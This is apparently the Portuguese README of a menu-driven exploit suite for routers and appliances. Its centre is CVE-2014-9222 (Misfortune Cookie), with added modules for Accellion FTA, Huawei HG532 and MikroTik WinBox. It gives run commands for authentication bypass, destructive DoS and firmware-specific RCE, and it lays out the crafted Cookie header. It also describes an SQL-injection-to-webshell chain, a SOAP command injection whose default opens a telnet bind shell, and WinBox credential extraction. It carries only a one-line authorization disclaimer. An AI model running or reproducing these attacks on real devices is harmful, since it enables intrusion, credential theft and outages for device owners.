
Suite de PoC interativa para CVE-2014-9222 (Misfortune Cookie) e exploits relacionados de roteadores, com módulos de detecção, bypass de autenticação, DoS e RCE, além de um modo de varredura para múltiplas vulnerabilidades.
Estouro de pilha no tratamento de cookies HTTP do AllegroSoft RomPager (todas as versões
< 4.34). Uma única requisição não autenticada com um cabeçalho Cookie: adulterado
corrompe a memória. Efeitos: bypass de autenticação de admin, DoS/reboot e (com
offsets específicos de firmware) execução remota de código.
Use apenas contra hardware que você possui ou para o qual está explicitamente autorizado a testar.
python3 main.py # depois defina um alvo com [1]
python3 main.py http://192.168.1.1
[1] Definir / trocar alvo
[2] Identificar o alvo (fingerprint)
[3] Detectar vulnerabilidade (seguro, não destrutivo)
[4] Bypass de autenticação (cookie mágico)
[5] DoS / derrubar o dispositivo (DESTRUTIVO)
[6] Auxiliar de RCE - derivar cookie a partir de endereços de firmware
[7] Consulta de tabela de modelo / cookie
[8] Escanear todas as vulnerabilidades (sonda)
[A] Cadeia Accellion FTA (CVE-2021-27101 / 27102)
[B] Huawei HG532 (CVE-2017-17215)
[C] MikroTik WinBox (CVE-2018-14847)
Cada ação imprime primeiro o que fará; o DoS exige digitar YES. O
fingerprint por modelo (realm) é detectado automaticamente a partir do cabeçalho
WWW-Authenticate e comparado com a tabela de cookies.
[8] testa um host contra todas as quatro famílias de vulnerabilidades com
verificações não destrutivas e informa quais estão acessíveis/provavelmente vulneráveis:
python3 scan.py http://192.168.1.1
python3 scan.py http://192.168.1.1 --winbox-port 8291 --hg532-port 37215
Em seguida, execute a entrada de menu correspondente ([3]/[4]/[A]/[B]/[C]) para explorar
a vulnerabilidade confirmada.
Junto com o Misfortune Cookie, o console inclui PoCs para outras três vulnerabilidades comuns em dispositivos embarcados/aplicativos:
[A] Accellion FTA (accellion_fta.py) - reproduz a cadeia UNC2546
descrita pela Mandiant: recupera o segredo w1 via injeção de SQL através de um
cabeçalho Host adulterado (/courier/oauth.api), depois aciona admin.pl para
gravar um webshell com eval e verifica. 27103 (SSRF) / 27104 (execução de comandos
pós-autenticação) são mencionados, mas não exercitados por padrão.[B] Huawei HG532 (huawei_hg532.py) - POST SOAP para
/ctrlt/DeviceUpgrade_1 com $(<cmd>) em NewStatusURL, autenticação HTTP Digest
dslf-config:admin; o comando padrão abre um shell telnet bind na porta 9999.[C] MikroTik WinBox () - leitura de arquivo por
directory-traversal sobre o protocolo WinBox; por padrão lê e
descriptografa as credenciais armazenadas ( XOR).Todos os PoCs adicionais exigem confirmação explícita no console.
python3 detect.py http://192.168.1.1 # verificação segura
python3 auth_bypass.py http://192.168.1.1 # modelo auto-detectado
python3 auth_bypass.py http://192.168.1.1 --restore # reativar autenticação
python3 auth_bypass.py http://192.168.1.1 --all # tentar todos os cookies conhecidos
python3 auth_bypass.py http://192.168.1.1 --brute # exaustivo (MUITO lento, causa crash)
python3 dos.py http://192.168.1.1 # crash / reboot (DESTRUTIVO)
python3 rce/derive_cookie.py 0x803E9A40 0x803AB30D # endereços -> (num, pad)
Cookie: C<evilnum>=<pad "B" bytes><payload>;
evilnum e pad são específicos do firmware. evilnum indexa o
array de cookies de 0x28 bytes do RomPager (C_Array + evilnum*0x28 + pad = endereço
sobrescrito). A tabela por modelo mesclada do exploitdb 39739 e do módulo
allegro_rompager_auth_bypass do Metasploit está em common.py.
Requer uma imagem de firmware exata. Etapas (veja rce/README.md): extraia o rootfs
com binwalk, faça engenharia reversa do parser de cookies no Ghidra para encontrar o buffer ->
delta do $ra salvo, derive (num, pad) com derive_cookie.py, valide o
shellcode MIPS contra uma imagem emulada com QEMU antes de tocar no alvo real.
auxiliary/scanner/http/allegro_rompager_misfortune_cookie
e auxiliary/admin/http/allegro_rompager_auth_bypass| Vulnerabilidade | CVE | O que a sonda faz |
|---|
| RomPager | CVE-2014-9222 | Banner HTTP + versão vs 4.34 |
| Huawei HG532 | CVE-2017-17215 | Endpoint SOAP ativo + realm Digest |
| MikroTik WinBox | CVE-2018-14847 | leitura de arquivo WinBox ao vivo (credenciais extraídas) |
| Accellion FTA | CVE-2021-27101/104 | fingerprint de Accellion/oauth.api |
| Menu | CVE | Alvo | Porta |
|---|
[A] | CVE-2021-27101/27102 | Accellion FTA | 80 |
[B] | CVE-2017-17215 | Huawei HG532 | 37215 |
[C] | CVE-2018-14847 | MikroTik WinBox | 8291 |
mikrotik_winbox.pyflash/rw/store/user.datmd5(user + "283i4jfkai3389")| arquivo | finalidade |
|---|
main.py | console interativo |
ui.py | banner + utilitários de UI (header/info/warn/err/success/prompt/confirm) |
common.py | fingerprinting, construtor de cookie mágico, tabela por modelo (num, pad) |
detect.py | verificação de vulnerabilidade não destrutiva (versão + cookie canário) |
scan.py | testa um alvo contra todas as quatro famílias de vulnerabilidades (opção 8) |
auth_bypass.py | bypass de autenticação com cookie mágico e auto-detecção de realm |
dos.py | estouro de pilha com cookie gigante -> reboot por watchdog |
accellion_fta.py | CVE-2021-27101/27102 SQLi -> cadeia de webshell |
huawei_hg532.py | CVE-2017-17215 injeção de comando SOAP |
mikrotik_winbox.py | CVE-2018-14847 leitura de arquivo WinBox / extração de credenciais |
rce/derive_cookie.py | converte C_Array + endereço alvo em (num, pad) |
rce/README.md | metodologia RCE completa + matemática do exploit |
rce/references/ | slides da 31C3, whitepaper da NCC, writeups desmistificados, tabelas de layout |